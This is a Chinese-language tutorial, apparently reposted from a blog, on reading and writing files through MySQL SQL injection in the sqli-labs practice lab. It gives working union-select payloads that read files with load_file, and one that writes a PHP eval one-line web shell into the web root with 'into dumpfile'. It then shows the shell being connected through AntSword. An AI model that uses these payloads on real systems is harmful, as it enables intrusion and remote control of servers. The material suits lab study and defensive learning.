数据库
首页 > 数据库> > sql注入之文件的读写------上传一句话木马

sql注入之文件的读写------上传一句话木马

作者:互联网

             sql注入文件的读写

一、mysql读写文件的基本条件

1、数据库允许读写文件

    mysql 新版本下secure-file-priv字段 : secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出。

secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下。

secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

所以要进行文件的读写是需要很高的权限,最好是root权限;

2、知道要读写位置的绝对路径

    当我们要进行文件的读写时要知道绝对路径;当我们要往数据库里面写木马文件,就要知道数据库的绝对路径;

二、文件的读写语句基本格式

         查询路径:@@datadir

           读取文件:load_file()

                            http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,load_file('文件路径'),3 --+

                        例:id=-1' union select 1,load_file('C:\phpStudy\PHPTutorial\MySQL\my.ini'),2 -- -+

           写入文件:into outfile()

                             http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,'写入内容',3 into outfile '文件路径'--+

                         例:?id=2 union select 1,2,"<?php eval($_REQUEST[23]); ?>" into dumpfile "D:\phpstudy_pro\WWW\sqli-labs-master\Less-2\guo.php" --+

三、演示

         这里以sqllabs靶场上的less-2做演示如何写入一句话木马;

            进入页面,还是常规步骤判断显示位,子段数,由于这些都很简单我们就不再进行演示;

           

 经过我们测试有三个字段,两个显示位;接下来我们可以通过@@datadir函数查询数据库的绝对路径;

payload:union select 1,2,@@datadir --+

      这里我们查询得到了数据库的绝对路径,可以直接往数据库中写入一句话木马,但是由于知道这个less-7

的绝对路径也是为了更好的查询,所以我们直接在靶机的位置写入一句话木马;

       但是由于靶机默认的     secure_file_priv=null,在这个权限下我们是无法写入文件的,所以我们要修改my.ini文件,在里面写入secure_file_priv=" "这样就不现在文件的读写;

修改后我们就可以写入木马文件了:

payload:?id=2 union select 1,2,"<?php eval($_REQUEST[23]); ?>" into dumpfile "D:\phpstudy_pro\WWW\sqli-labs-master\Less-2\test.php" --+

我们通过查看靶场文件位置发现木马文件已经成功写入;

接下来我们可以通过http://127.0.0.1/sqli-labs-master/Less-2/test.php跳转到木马文件位置

最后我们直接蚁剑连接后台;

我们已经可以通过木马文件连接后台,读取后台文件;

参考文章:http://t.csdn.cn/FYdhQ

                http://t.csdn.cn/czSG9              

 

标签:文件,木马,读写,写入,file,sql,------,priv
来源: https://www.cnblogs.com/GX-R/p/16119921.html